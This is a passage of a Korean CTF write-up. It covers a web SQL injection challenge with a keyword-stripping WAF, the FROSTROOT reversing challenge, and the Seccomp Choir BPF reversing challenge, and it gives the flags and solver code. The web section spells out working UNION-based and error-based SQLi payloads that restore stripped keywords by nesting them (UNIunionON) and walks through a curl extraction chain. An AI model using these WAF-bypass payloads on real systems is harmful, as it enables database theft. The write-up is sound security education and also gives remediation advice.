즉 사용자 입력이 ‘% … %’ 사이에 문자열 연결되며, 에러 메시지가 반환되므로 error-based / UNION-based 추출이 모두 가능하다.
2.1 WAF(Sentinel) 분석
정상/공격 페이로드를 넣어보며 WAF 동작을 두 종류로 분리했다.
(a) 특정 토큰 → 즉시 밴 (300초)
sleep(3), case 등 일부 토큰을 넣으면 응답이 아래로 바뀌고 이후 5분간 모든 요청이 차단된다.
{"banned":true,"reason":"automated scanning detected","remaining":300}
밴 여부/잔여시간은 읽기 전용 GET /api/status 로 확인(이 요청은 밴을 연장하지 않음).
(b) 특정 키워드 → 문자열 “제거”(strip)
q=union select 를 넣으면 밴이 아니라 상품 전체(15개) 가 반환된다. → WAF가 union, select 를 빈 문자열로 치환해 %union select% 가 % %(공백) 이 되고, 공백을 포함한 모든 상품명이 매칭된 것.
키워드를 하나씩 검증한 결과(단어 하나만 넣었을 때 15개 반환 = strip):
제거 대상: select, union, or, and, where, from
허용(그대로 통과): concat, char, hex, ascii, substr(substring/mid), version, database, user, information_schema, updatexml, extractvalue, count, limit, group, having, if 등
밴 트리거: sleep, case (시간 기반/일부 함수)
(c) 제거 방식은 “1회(non-recursive)”
q=ununionion → . un+union+ion 에서 가운데 union 만 1번 제거 → union(리터럴) 로 남음 → %union% 매칭 상품 없음. → 단 한 번만 제거하므로 키워드를 감싸면 복원된다.
2.2 우회 기법
주석/브레이크아웃
’ 로 문자열을 닫고 # 로 뒤를 주석 처리. (– 는 필터링돼 동작 안 함)
q=mug'# → ... LIKE '%mug' 로 잘려 mug 정상 반환(브레이크아웃 확인)
키워드 복원(중첩)
1회 제거를 역이용
UNIunionON → UNION
SELselectECT → SELECT
frFROMom(frfromom) → FROM, whWHEREere(whwhereere) → WHERE
2.3 익스플로잇 (단계별)
요청 사이 밴이 걸리면 300초 대기. sleep/case 등 밴 토큰 금지.
B="http://<HOST>"
0) 밴 해제 대기 (읽기전용 status로 폴링)
until curl -s "$B/api/status" | grep -q '"banned":false'; do sleep 10; done
1) 컬럼 수 확인 (LIKE 3컬럼: id,name,price)
curl -sG "$B/search" --data-urlencode \
"q=zzz%' UNIunionON SELselectECT 1,2,3#"
2) DB / 테이블 목록
curl -sG "$B/search" --data-urlencode \
"q=zzz%' UNIunionON SELselectECT 1,group_concat(table_name),3 FRfromOM
information_schema.tables WHEwhereRE table_schema=database()#"
3) 대상 테이블 컬럼 목록 (테이블명은 hex로: 0x666c6167=flag)
curl -sG "$B/search" --data-urlencode \
"q=zzz%' UNIunionON SELselectECT 1,group_concat(column_name),3 FRfromOM
information_schema.columns WHEwhereRE table_name=0x666c6167#"
4) 플래그 추출
curl -sG "$B/search" --data-urlencode \
"q=zzz%' UNIunionON SELselectECT 1,group_concat(flag),3 FRfromOM flag#"
페이로드 구조: zzz%’ 로 LIKE ‘%zzz%’ 문자열을 닫고, 중첩 우회한 UNION SELECT 를 붙인 뒤 # 로 뒤(%’)를 주석 처리.
name 컬럼(2번째) 위치에 추출값을 배치하면 응답 JSON의 name 필드로 값이 노출된다.
(대안) 에러 기반 추출
UNION이 막히는 환경이면 and(중첩: anandd) + extractvalue 로 값을 에러 메시지에 노출:
curl -sG "$B/search" --data-urlencode \
"q=mug' anandd extractvalue(1,concat(0x7e,substr((SELselectECT flag FRfromOM
flag),1,32)))#"
extractvalue는 32자만 표시되므로 substr(…,1,32), substr(…,33,32) 로 분할해 읽는다.
결과
flag = kisia{________} # (해결 시 획득한 실제 값으로 교체)
요약
원인: LIKE ‘%…%’ 문자열 연결 기반 SQLi + 에러 메시지 노출.
WAF 우회: (1) 키워드 1회-제거를 중첩(UNIunionON)으로 복원, (2) # 로 브레이크아웃,
- 밴 토큰(sleep,case) 회피. 대응 방안: 파라미터 바인딩(Prepared Statement) 사용, DB 에러 메시지 비노출, 블랙리 스트(치환) 대신 화이트리스트 입력 검증.
2. Reversing
FROSTROOT
1. 개요
“Six frozen processes guard one root proof”
FROSTROOT는 바이너리 메모리 손상 취약점을 직접 익스플로잇하는 문제가 아니라, normald의 명령 상태 머신과 TRACE가 반환하는 artifact의 수학적 구조를 역분석해 올바른 proof token을 만드는 문제다.
- 대상: nc 3.39.24.75 32951
- 최종 플래그: kisia{BA5FdbqBg8QD9Zd9M7EvngKrvwEaOnCo14de93a8}
- 필요 환경: Python 3 표준 라이브러리
- 제공 helper: docs/oracle_fold.py
2. 핸드아웃 분석
핸드아웃의 핵심 파일은 다음과 같다.
- normald: 실제 서비스 명령과 상태 전이를 처리한다.
- previewd: 별도 preview 경로용 바이너리다.
- docs/oracle_fold.py: selector와 probe를 artifact에 접어 token을 계산한다.
- calibration artifact: selector 복구식을 검증할 수 있는 기준 데이터다. 두 ELF는 PIE, NX, Full RELRO, Stack Canary가 적용되어 있었다. 하지만 정상 명령 경로만으로 flag까지 도달할 수 있으므로 ROP나 메모리 corruption은 필요하지 않았다. PREVIEW 경로 역시 풀이에 필요 없는 미끼였다.
3. 세션 상태 머신 열기
서버에 접속한 뒤 필요한 명령 순서는 아래와 같다.
BEGIN
QUEUE
CANCEL <job>
DIAG <job> <frame_hex>
RESUME <job>
TRACE 0 85 1234
QUEUE로 받은 job을 취소해야 DIAG가 reclaim 정보를 받아들이고, 이후 RESUME에서 anchor가 생성된다.
4. DIAG 프레임 역분석
DIAG의 세 번째 인자는 다음 형식의 TLV 레코드 연속이다.
type:u8 | length:u8 | value:length bytes
검증 루틴이 요구하는 레코드는 정확히 네 개였다.
| 순서 | Type | Length | Value |
|---|---|---|---|
| 1 | 0x01 | 8 | reclaim handle (little endian u64) |
| 2 | 0x02 | 1 | 0x21 |
| 3 | 0x03 | 1 | 0x42 |
| 4 | 0x02 | 1 | 0x52 |
첫 job 번호가 1일 때 완성되는 프레임은 다음과 같다.
01080100000000000000020121030142020152
실제 요청은 다음과 같이 보낸다.
DIAG 1 01080100000000000000020121030142020152
5. TRACE artifact에서 selector 복구
TRACE 0 85 1234는 JSON artifact를 반환한다. 여기에는 64개의 round가 있고 각 round에는 30개의 factor가 있다. selector는 32개의 0~3 값으로 구성된다.
각 factor가 [a, b, bias, weight]일 때 selector에는 다음 점화식이 적용된다.
s[i+2] = (a*s[i] + b*s[i+1] + bias) mod 4
따라서 s[0], s[1]의 가능한 조합은 16개뿐이다. 각 조합으로 32개 selector를 생성하고, 64개 round의 모든 factor에 대해 점화식이 성립하는지 검사하면 후보가 정확히 하나 남는다.
calibration 데이터에서 복구한 selector는 다음과 같고, 제공된 commitment의 SHA-256과 일치해 복구식을 검증할 수 있었다.
0002030200010102010302000103010301020103030002030103010101020302
실제 서버 artifact에서 복구한 selector는 다음과 같다.
0302020202000201010302010002030101000300030101030002030302020003
6. proof token 계산 및 제출
핸드아웃의 oracle_fold.py에 artifact, selector, probe [0, 85, 1234]를 그대로 넘기면 token을 얻는다.
token = oracle_fold.fold_token(artifact, selectors, [0, 85, 1234]).hex()
이 인스턴스에서 계산된 token은 다음과 같다.
ab6e9370a70430dd8124aba082c33d8263c9b435f89c2bfd82c810093851d975
최종 제출 형식은 다음과 같다.
SUBMIT <token> <artifact.transcript> <artifact.anchor_digest>
<artifact.ticket>
서버가 반환한 결과:
kisia{BA5FdbqBg8QD9Zd9M7EvngKrvwEaOnCo14de93a8}
7. 자동 풀이
동봉한 solver는 위 과정을 자동으로 수행한다.
python3 frostroot_solver.py 3.39.24.75 32951
필요한 외부 패키지는 없으며, oracle_fold.py의 기본 경로가 다르면 –oracle 인자로 지정하면 된다.
Seccomp Choir
flag: kisia{seccomp_filters_sing_only_for_the_right_eight_byte_chords}
1. 문제 개요
배포물은 seccomp-choir-handout.zip 하나이고, 안에는 README.txt 와 리눅스 x86-64 실행 파일 choir 가 들어 있다. 문제 설명은 다음과 같다.
Eight voices enter one at a time. The kernel decides whether each voice belongs in the choir.
README.txt 가 알려주는 사용법은 하나뿐이고, 프로그램은 ./choir ’’ correct 아니면 nope 만 출력한다. 접속할 서버는 없다. 그래서 이 문제는 배포된 바이너리 안에 정답 문자열을 판정하는 규칙이 통째로 들어 있고, 그 규칙을 거꾸로 풀어서 정답을 만들어내는 형태다.
이 프로그램은 입력 문자열을 사용자 공간에서 비교하지 않는다. 입력 64바이트 중 8바이트씩을 골라 커널에 seccomp filter를 설치한 뒤 그 8바이트를 syscall 인자로 넣어 호출하고, 커널이 돌려준 errno 값으로 맞았는지 틀 렸는지를 판단한다. seccomp는 프로세스가 어떤 syscall을 어떤 인자로 호출할 수 있는지를 커널에 등록해두는 리 눅스 기능이고, 등록하는 규칙은 classic BPF라는 작은 명령어 집합으로 작성한다. 문제 설명의 “The kernel decides”는 이 구조를 그대로 말한 것이다.
2. 분석 환경과 초기 관찰
분석은 WSL2 Ubuntu(Linux 6.6.87.2-microsoft-standard-WSL2)에서 했다. 이 환경에는 docker와 python3-venv 가 없고 z3도 설치돼 있지 않다. 새 의존성을 추가하지 않기로 하고 표준 라이브러리만으로 풀었 다. 배포된 바이너리를 실행해 관찰할 때는 이미 설치돼 있던 bubblewrap(/usr/bin/bwrap)으로 격리했고, 호 스트에서 직접 실행하지 않았다. 디스어셈블에는 objdump 를 썼다.
파일 무결성과 형식은 다음과 같다.
| 항목 | 값 |
|---|---|
| ZIP SHA-256 | c77dbc0ed40ad812909c25698464b5e4c891c5a772762209a8b10a0d444c0f4d |
| choir SHA-256 | c94bbbb7e8152fa13dda8a2affddc72075b2647971d2508cd50bf34acf36f935 |
| 형식 | ELF 64-bit, x86-64, ET_EXEC, 정적 링크, 심볼 제거 |
| 보호 기법 | NX 활성, PIE 비활성, Partial RELRO |
| 특이 섹션 | .choir VA 0x405260, 파일 오프셋 0x5260, 크기 0x2b68 |
main 에 해당하는 함수는 0x401070 이고, 여기서 하는 일은 다음과 같다. 아래 디스어셈블은 logs/disasm-control-flow.txt 에 저장돼 있다.
40108e: cmp edi,0x2 ; argc == 2 인가
401091: jne 0x40114d ; 아니면 nope
401097: mov rdi,QWORD PTR [rsi+0x8] ; argv[1]
40109e: call 0x4043c0 ; strlen
4010a3: cmp rax,0x40 ; 길이가 정확히 64인가
4010a7: jne 0x40114d ; 아니면 nope
4010c3: lea rax,[rip+0x206] ; 0x4012d0 = SIGSYS 핸들러
4010ca: mov DWORD PTR [rsp+0x88],0x4 ; sa_flags = SA_SIGINFO
4010e3: mov edi,0x1f ; 시그널 31 = SIGSYS
4010e8: call 0x404300 ; sigaction
4010fe: mov esi,0x26 ; PR_SET_NO_NEW_PRIVS (38)
401103: mov edi,0x9d ; prctl (157)
401108: call 0x403feb ; syscall wrapper
401112: mov rdi,QWORD PTR [rbx+0x8] ; argv[1]
401116: call 0x401300 ; 검증 함수
401120: lea rdi,[rip+0x3edf] ; 0x405006 = "correct\n"
401127: call 0x401270 ; write
입력은 정확히 64바이트여야 한다. PR_SET_NO_NEW_PRIVS 는 권한 없는 프로세스가 seccomp filter를 설치하 기 위한 커널 요구 조건이다. 실패 경로 0x4012b0 과 SIGSYS 핸들러 0x4012d0 은 둘 다 0x405000 의 nope5바이트를 쓰고 종료 코드 1로 끝낸다. 즉 검증 중에 SIGSYS 가 한 번이라도 발생하면 그 자리에서 실패 다.
.choir 섹션의 앞 40바이트는 다음과 같다.
43484f4952423031 01000000 08000000 08000000 00000000 f867a67f8a11674a149bfa384b229e84
CHOIRB01 version=1 count=8 8 reserved seed(16바이트)
이어지는 첫 레코드는 오프셋 0x28 에서 시작하고, 구조는 payload_size (4바이트) + tag (16바이트) + 암호 화된 payload다.
3. 핵심 원리
3-1. 레코드를 여는 열쇠는 앞 voice의 정답에서 나온다
.choir 안의 8개 레코드는 각각 암호화돼 있고, 무결성 확인용 tag가 붙어 있다. 키와 tag와 keystream은 모두 .choir 헤더의 seed 16바이트에서 파생된다. 여기서 HMAC은 키를 가진 해시로 메시지가 변조되지 않았음을 확인하는 표준 구조를 말한다.
master_0 = SHA256("choir/master/v1" || seed_16)
tag_i = HMAC-SHA256(master_i, "choir/tag/v1" || u32le(i) || u32le(payload_size) || ciphertext)[:16]
keystream_i_j = SHA256(master_i || "choir/stream/v1" || u32le(i) || u32le(j))
plaintext = ciphertext XOR (keystream_i_0 || keystream_i_1 || ...)
master_(i+1) = SHA256(master_i || "choir/next/v1" || u32le(i) || 정답_8바이트)
각 문자열(choir/tag/v1 등)은 domain separation 문자열이다. 같은 키에서 여러 용도의 값을 뽑을 때 용도마 다 다른 상수를 섞어 서로 다른 값이 나오게 하는 표준 기법을 말한다. 실측으로 확인한 세부 사항이 하나 있다. 이 문자열들에는 NUL 종단 바이트가 붙지 않는다. 붙여서 계산하면 tag가 틀린다.
여기서 이 문제의 구조가 결정된다. 마지막 줄을 보면 master_(i+1) 은 voice i의 정답 8바이트를 입력으로 받 는다. voice 0을 풀지 못하면 master_1 을 만들 수 없고, master_1 이 없으면 두 번째 레코드는 tag 검증도 복 호화도 되지 않는다. 그래서 8개를 반드시 0번부터 순서대로 풀어야 한다. 문제 설명의 “enter one at a time”이 이 의존 관계다.
복호화된 payload의 구조는 다음과 같다.
| 오프셋 | 크기 | 내용 |
|---|---|---|
| 0 | 8 | selector 8개. 각 값은 0~63이고, 64바이트 입력에서 어느 위치를 쓸지 가리킨다 |
| 8 | 2 | filter_len . classic BPF 명령 개수 |
| 10 | 2 | reserved. 0이어야 한다 |
| 12 | filter_len * 8 | sock_filter[] . 명령 하나가 8바이트 |
8개 voice 전부 payload_size = 1364 , filter_len = 169 로 같았다.
3-2. 판정을 커널이 하고, 결과를 errno로 받아온다
각 voice에서 프로그램이 하는 일은 순서대로 다음과 같다. 아래 디스어셈블도 logs/disasm-control-flow.txt 에 있다.
4018bf: mov esi,0x1 ; SECCOMP_SET_MODE_FILTER
4018c4: mov edi,0x13d ; seccomp (317)
4018ba: lea rcx,[rsp+0x60] ; &sock_fprog
4018da: call 0x403feb ; 필터 설치
4018e8: call 0x402674 ; errno 위치
4018f7: mov DWORD PTR [rax],0x0 ; errno = 0
40190b: or esi,0x43480000 ; option = 0x43480000 | voice_index
4018ff: mov rdx,r13 ; arg2 = 입력에서 고른 8바이트
401902: mov edi,0x9d ; prctl (157)
401913: call 0x403feb ; 확인용 호출
401918: cmp rax,0xffffffffffffffff ; 반환값이 -1 인가
40191c: jne 0x401bde ; 아니면 실패
401926: cmp DWORD PTR [r10],0x5a ; errno 가 90 인가
40192a: jne 0x401bde ; 아니면 실패
0x4348 은 ASCII로 CH 다. 0x43480000 | i 는 리눅스에 존재하지 않는 prctl option이므로, 필터가 없으 면 커널이 그냥 -EINVAL 을 돌려준다. 즉 이 호출은 실제로 뭔가를 하려는 것이 아니라, 인자를 커널에 전달해 seccomp filter의 판정을 받아오기 위한 통로다.
voice 0의 BPF 프로그램 앞부분과 끝부분을 보면 판정 결과가 어떻게 나뉘는지 그대로 보인다. 아래는 복호화한 뒤 디스어셈블한 것이다.
0 LD ABS 0x4 ; seccomp_data.arch
1 JEQ 0xc000003e ? 2 : 168 ; x86-64가 아니면 168번으로
2 LD ABS 0x0 ; seccomp_data.nr
3 JEQ 0x9d ? 4 : 166 ; prctl(157)이 아니면 166번으로
4 LD ABS 0x10 ; args[0] 하위 32비트 = option
5 JEQ 0x43480000 ? 6 : 166 ; 내 voice의 option이 아니면 166번으로
6 LD ABS 0x18 ; args[1] 하위 32비트
7 ST M[0]
8 LD ABS 0x1c ; args[1] 상위 32비트
9 ST M[1]
... (여기서 M[0], M[1]을 섞는다) ...
162 LD MEM 0x0
163 JEQ 0x9f610b63 ? 164 : 168
164 LD MEM 0x1
165 JEQ 0xd4bc66ed ? 167 : 168
166 RET 0x7fff0000 ; SECCOMP_RET_ALLOW
167 RET 0x5005a ; SECCOMP_RET_ERRNO | 90
168 RET 0x30000 ; SECCOMP_RET_TRAP
seccomp_data 는 커널이 필터에 넘겨주는 고정된 구조체다. 오프셋 0에 syscall 번호, 4에 아키텍처, 16부터 8바 이트씩 인자 6개가 들어간다. 그래서 args[0] 은 16번지, args[1] 은 24번지(0x18)이고, 32비트 단위로만 읽을 수 있으므로 상위 32비트는 28번지(0x1c)에서 따로 읽는다.
세 가지 반환값이 각각 무엇을 뜻하는지가 이 문제의 핵심이다.
- RET 0x7fff0000 = SECCOMP_RET_ALLOW. syscall을 그대로 실행시킨다. 이 필터와 상관없는 호출에 쓴다.
- RET 0x5005a = SECCOMP_RET_ERRNO | 90. syscall을 실행하지 않고 1 을 반환하며 errno 를 90으로 설정한다. 정답일 때만 여기로 온다.
- RET 0x30000 = SECCOMP_RET_TRAP. syscall을 실행하지 않고 프로세스에 SIGSYS 를 보낸다. 앞에서 설치해둔 SIGSYS 핸들러가 잡아서 nope 를 출력하고 종료한다. seccomp filter는 한 번 설치하면 제거되지 않고 계속 쌓인다. 이후 모든 syscall에 대해 설치된 필터가 전부 실행되 고, 커널은 그중 값이 가장 작은 반환값을 채택한다. 0x30000 (TRAP) < 0x5005a (ERRNO) < 0x7fff0000 (ALLOW)이므로, 필터 하나라도 TRAP을 돌려주면 그 결과가 이긴다. 이것이 BPF 프로그램의 3번 과 5번 명령이 존재하는 이유다. 각 필터는 자기 voice의 option 값이 아니면 곧바로 ALLOW로 빠진다. 이렇게 하지 않으면 voice 0의 필터가 voice 1의 확인용 호출에 대해서도 판정을 내려버려 이후 voice가 전부 실패한다.
정리하면 판정은 이렇게 된다. 8바이트가 맞으면 커널이 errno = 90 을 만들어주고 프로그램은 다음 voice로 넘 어간다. 틀리면 SIGSYS 가 발생해 그 자리에서 nope 가 출력된다. 프로그램 코드 어디에도 정답 문자열은 없고, 비교도 사용자 공간에서 일어나지 않는다.
3-3. 섞는 함수가 Feistel network라서 되돌릴 수 있다
M[0], M[1] 을 섞는 10번부터 161번까지의 명령이 실제로 무엇을 하는지가 마지막 관문이다. voice 0의 첫 라 운드 전체를 옮기면 다음과 같다.
10 LD MEM 0x0 ; M[3] = M[0] (왼쪽 절반 보관)
11 ST M[3]
12 LD MEM 0x1 ; M[4] = M[1] (오른쪽 절반 보관)
13 ST M[4]
14 LD MEM 0x1 ; A = M[1]
15 XOR 0x9bb73de6 ; A = M[1] ^ C
16 ST M[5]
17 LSH 0xc ; A <<= 12
18 ST M[6]
19 LD MEM 0x5
20 RSH 0x14 ; A = (M[1]^C) >> 20
21 TAX
22 LD MEM 0x6
23 OR X ; M[8] = ROL(M[1] ^ C, 12)
24 ST M[8]
25 LD MEM 0x1
26 ADD 0x9bb73de6 ; A = M[1] + C
27 ST M[5]
28 LSH 0xf ; A <<= 15
29 ST M[6]
30 LD MEM 0x5
31 RSH 0x11 ; A = (M[1]+C) >> 17
32 TAX
33 LD MEM 0x6
34 OR X ; M[9] = ROL(M[1] + C, 15)
35 ST M[9]
36 LD MEM 0x9
37 TAX
38 LD MEM 0x8
39 ADD X ; M[2] = M[8] + M[9]
40 ST M[2]
41 LD MEM 0x2
42 TAX
43 LD MEM 0x3
44 XOR X ; M[1] = 이전 M[0] ^ M[2]
45 ST M[1]
46 LD MEM 0x4
47 ST M[0] ; M[0] = 이전 M[1]
LSH 12 결과와 RSH 20 결과를 OR 로 합치는 것은 32비트 왼쪽 회전(rotate left)이다. 그래서 한 라운드는 다 음 식이다.
F(R) = ROL(R ^ C, r1) + ROL(R + C, r2)
(L, R) → (R, L ^ F(R))
이 형태를 Feistel network라고 부른다. 값을 절반으로 나눠, 한쪽을 재료로 만든 값을 다른 쪽에 XOR하고 좌우를 바꾸는 구조를 말한다. 이 구조의 성질이 중요하다. F 자체가 어떤 함수든, 되돌릴 수 있다. 다음 순서로 계산하면 된다.
이전 R = 지금 L
이전 L = 지금 R ^ F(이전 R)
F 를 역산할 필요가 없다. 지금 L에서 이전 R을 바로 얻고, 그것으로 F 를 앞 방향으로 한 번 계산해 XOR하면 이 전 L이 나온다. 그래서 마지막 비교 상수 두 개에서 출발해 라운드를 거꾸로 밟으면 정답 8바이트가 나온다. 64비 트 전수 조사도, SMT solver도 필요하지 않다.
8개 voice의 구조는 다음과 같다. 라운드 수는 모두 4이고, 상수와 회전량만 다르다.
| voice | 최종 비교 (L, R) | 라운드 상수와 회전량 (C, r1, r2) |
|---|---|---|
| 0 | 0x9f610b63 , 0xd4bc66ed | 9bb73de6/12,15 · c19ab6b5/12,19 · 1fe71b01/7,14 · f37c6fde/7,14 |
| 1 | 0xba62936c , 0x93596b84 | af9451b7/11,13 · c15bc120/7,15 · 2f9108a7/9,17 · 0f8359a2/11,15 |
| 2 | 0x48efb7e5 , 0xf68041f5 | 73baca35/9,17 · 845a472d/12,15 · b84ca99d/11,18 · 87966dae/7,15 |
| 3 | 0xb77d9939 , 0x0d28ceda | 248127a0/6,13 · ab486df1/8,17 · e63e6724/12,13 · b0460123/12,19 |
| 4 | 0xdd3bf817 , 0xe27b6c28 | d1cc6556/12,20 · 1ee7d1ec/11,17 · 5227e53c/12,13 · 60598167/8,17 |
| 5 | 0x2f7d02fd , 0x5d3d425a | 8c1555a5/9,13 · aa7703ab/6,19 · eeb2a517/9,14 · 47f00e3c/5,19 |
| 6 | 0xd4ceb9b9 , 0xe167b3ca | 2ac45e66/12,19 · 5a634868/7,13 · 590aa507/9,14 · fd502579/10,17 |
| 7 | 0x776883fc , 0x48c618e8 | 8328b634/10,17 · d0f07c88/7,20 · e0c4efbb/5,17 · e0156e63/12,17 |
4. 가설과 시행착오
domain separation 문자열에 NUL 종단이 붙는가
파생식을 어셈블리에서 복원한 뒤, 문자열 상수가 NUL을 포함해 해시에 들어가는지가 확정되지 않은 지점으로 남 았다. 그래서 첫 실험으로 voice 0의 tag를 네 가지 조합으로 계산해 섹션에 저장된 값과 비교했다.
master 도메인 tag 도메인 계산된 tag 일치
choir/master/v1 choir/tag/v1 1f6a1f73446dc62c5942fa144b26402c True
choir/master/v1 choir/tag/v1\x00 b745758d1ea83be00da84c89d7055a69 False
choir/master/v1\x00 choir/tag/v1 e745d7d3066d8b6ebcbb563723997162 False
choir/master/v1\x00 choir/tag/v1\x00 15af5e5503e8e16df1d272c99be448c8 False
NUL 없는 조합이 저장된 tag 1f6a1f73446dc62c5942fa144b26402c 와 16바이트 전부 일치했다. 이 한 번의 확인으로 파생식 전체가 맞다는 것이 확정됐다. 잘못된 방향으로 갈 뻔한 지점을 여기서 잘랐다.
z3로 제약을 풀려던 계획
BPF 프로그램을 보고 처음 세운 계획은 명령을 symbolic execution으로 따라가며 z3에 제약을 넘겨 args[1] 을 구하는 것이었다. 확인해보니 이 환경에 z3가 없었다.
$ python3 -c "import z3; print(z3.get_version_string())"
ModuleNotFoundError: No module named 'z3'
설치하지 않고, 3-3에서 확인한 Feistel 구조를 이용해 표준 라이브러리만으로 역산했다. 결과적으로 이쪽이 더 낫 다. z3를 썼다면 프로그램이 무엇을 하는지 이해하지 않고도 답은 나왔겠지만, 8개 voice가 모두 같은 템플릿이라 는 사실이나 라운드 구조는 확인되지 않은 채로 남았을 것이다.
전수 조사는 검토 단계에서 버렸다
args[1] 은 64비트다. 입력이 ASCII 범위라고 가정해도 후보가 95^8 ≈ 6.6 × 10^15이라 탐색으로 풀 수 없다. voice가 8개라 이것을 8번 반복해야 한다는 점까지 보면 더 확실하다. 그래서 구조를 이해해 역산하는 것 외에 다 른 길이 없다고 판단하고 진행했다.
5. Solver 설계
solver는 artifacts/solve.py 하나이고 표준 라이브러리만 쓴다. 구성은 다음 네 부분이다.
classic BPF 인터프리터
역산 결과를 검증하려면 BPF 프로그램을 실제로 실행해볼 수 있어야 한다. sock_filter 명령을 그대로 해석하 는 인터프리터를 만들었다. code 필드 하위 3비트가 명령 종류이고, 상위 비트가 세부 동작을 정한다.
def run(prog, mem, seccomp_data):
"""prog 를 실행하고 (return value, mem) 을 돌려준다. mem 은 M[0..15]."""
mem = list(mem)
A = X = 0
pc = 0
for _ in range(100000):
code, jt, jf, k = prog[pc]
cls = code & 7
if cls == 0: # LD
mode = code & 0xE0
if mode == 0x20:
A = struct.unpack_from("<I", seccomp_data, k)[0]
elif mode == 0x60:
A = mem[k]
...
elif cls == 5: # JMP
op = code & 0xF0
src = X if (code & 8) else k
if op == 0x00:
pc += k
else:
if op == 0x10: t = A == src
...
pc += jt if t else jf
elif cls == 6: # RET
return (A if (code & 0x18) == 0x10 else k), mem
pc += 1
seccomp_data 도 커널이 넘겨주는 것과 같은 배치로 만들어 넣는다.
def seccomp_data(nr, arch, args):
d = bytearray(64)
struct.pack_into("<IIQ", d, 0, nr, arch, 0)
for i, v in enumerate(args):
struct.pack_into("<Q", d, 16 + 8 * i, v)
return bytes(d)
라운드 자동 분리
voice마다 상수와 회전량이 다르므로 값을 하드코딩하지 않았다. 라운드 시작이 항상 LD MEM 0 / ST M[3] (왼 쪽 절반 보관)이라는 점을 이용해 명령 스트림을 잘랐다.
def split_rounds(prog):
"""본문을 라운드 슬라이스로 나눈다. 각 라운드는 `LD MEM 0 / ST M[3]` 로 시작한다."""
starts = [ i for i in range(len(prog) - 1) if prog[i][0] == 0x60 and prog[i][3] == 0 and prog[i + 1][0] == 0x02 and prog[i + 1][3] == 3 ]
if not starts:
raise RuntimeError("라운드 시작 패턴을 찾지 못했다")
ends = starts[1:] + [find_final_check(prog)[0]]
return [prog[s:e] for s, e in zip(starts, ends)]
최종 비교 상수도 같은 방식으로 LD MEM 0 / JEQ c0 / LD MEM 1 / JEQ c1 패턴을 찾아 읽는다.
F를 앞 방향으로만 계산해 역산
F 를 수식으로 다시 구현하지 않았다. 라운드 슬라이스를 L = 0, R = r 로 실행하면 새 M[1] 이 0 ^ F(r) = F(r) 이 되므로, 인터프리터를 그대로 계산기로 쓸 수 있다.
def round_fn(rnd, r):
"""라운드 함수 F(r). 라운드를 (L=0, R=r) 로 실행하면 새 M[1] 이 F(r) 이다."""
mem = [0] * 16
mem[1] = r
prog = rnd + [(0x06, 0, 0, 0)]
_, mem = run(prog, mem, bytes(64))
return mem[0], mem[1] # (새 L = 이전 R, 새 R = L ^ F(R))
이 방식은 라운드가 정말 Feistel일 때만 맞다. 그래서 역산 전에 서로 다른 L 두 개로 실행해 결과가 (R, L ^ F(R)) 형태인지 확인하고, 아니면 예외를 던져 멈추게 했다. 8개 voice 모두 이 확인을 통과했다.
for rnd in rounds:
nl0, nr0 = round_fn(rnd, 0x12345678)
mem = [0] * 16
mem[0], mem[1] = 0xDEADBEEF, 0x12345678
_, mem = run(rnd + [(0x06, 0, 0, 0)], mem, bytes(64))
if nl0 != 0x12345678 or mem[0] != 0x12345678 or mem[1] != (nr0 ^ 0xDEADBEEF):
raise RuntimeError("Feistel 구조 가정이 깨졌다")
L, R = c0, c1
for rnd in reversed(rounds):
prev_R = L
prev_L = R ^ round_fn(rnd, prev_R)[1]
L, R = prev_L, prev_R
value = L | (R << 32)
ret, _ = run(prog, [0] * 16, seccomp_data(157, 0xC000003E, [0x43480000 | voice, value, 0, 0, 0, 0]))
if ret != expect_ret:
raise RuntimeError(f"역산 검증 실패: ret={ret:#x}")
return value
마지막 세 줄이 자체 검증이다. 역산으로 얻은 값을 커널이 넘겨주는 것과 같은 seccomp_data 에 담아 프로그램 전체를 다시 실행하고, 반환값이 0x5005a 가 아니면 실패로 처리한다.
순차 진행과 flag 조립
voice를 0부터 7까지 돌면서 tag 확인, 복호화, 역산, master 갱신을 반복한다. 정답 8바이트는 little-endian 인코 딩 그대로가 selector 순서의 바이트 열이므로, sel[j] 위치에 vb[j] 를 넣으면 된다.
value = solve_bpf(prog, i)
vb = struct.pack("<Q", value)
for pos, byte in zip(sel, vb):
flag[pos] = byte
master = hashlib.sha256(master + b"choir/next/v1" + struct.pack("<I", i) + vb).digest()
off += 20 + size
assert off == len(sec), f"레코드 총 길이 불일치{off:#x}"
마지막 assert 는 8개 레코드를 다 읽은 지점이 .choir 크기 0x2b68 과 정확히 맞는지 보는 것이다. 중간에 파싱이 어긋났다면 여기서 걸린다.
6. 재현 절차
배포물 전개:
cd workspace
unzip -o ../input/seccomp-choir-handout.zip
solver 실행. voice별 중간 결과는 stderr로, flag는 stdout으로 나온다.
python3 artifacts/solve.py workspace/choir
stderr 출력은 다음과 같다.
voice 0: sel=[21, 9, 51, 28, 0, 44, 60, 8] value=0x6372746b6e5f635f bytes=b'_c_nktrc'
voice 1: sel=[1, 15, 11, 45, 6, 24, 49, 16] value=0x6c686e735f6d6969 bytes=b'iim_snhl'
voice 2: sel=[19, 56, 14, 2, 36, 32, 17, 61] value=0x6474667473665f72 bytes=b'r_fstftd'
voice 3: sel=[31, 53, 10, 27, 25, 3, 12, 55] value=0x657069676f6f795f bytes=b'_yoogipe'
voice 4: sel=[41, 37, 22, 4, 47, 39, 46, 59] value=0x6f655f6961736869 bytes=b'ihsai_eo'
voice 5: sel=[29, 5, 18, 34, 42, 30, 26, 7] value=0x655f796772657b6c bytes=b'l{ergy_e'
voice 6: sel=[40, 63, 52, 13, 48, 23, 38, 58] value=0x686569675f627d72 bytes=b'r}b_gieh'
voice 7: sel=[20, 57, 35, 54, 33, 43, 50, 62] value=0x7374686f745f6373 bytes=b'sc_tohts'
selector 64개를 모으면 0부터 63까지를 정확히 한 번씩 덮는다. 그래서 64바이트가 빠짐없이 채워진다.
stdout:
kisia{seccomp_filters_sing_only_for_the_right_eight_byte_chords}
배포된 바이너리로 직접 확인할 때는 격리 환경에서 실행한다. namespace를 전부 분리하고, 루트 파일시스템을 tmpfs로 두고, choir 하나만 읽기 전용으로 bind mount한다. 아래 출력은 logs/bwrap-run.txt 에 저장돼 있다.
$ bwrap --unshare-all --tmpfs / --dev /dev --ro-bind "$PWD/choir" /bin/choir \ /bin/choir 'kisia{seccomp_filters_sing_only_for_the_right_eight_byte_chords}' correct
exit=0
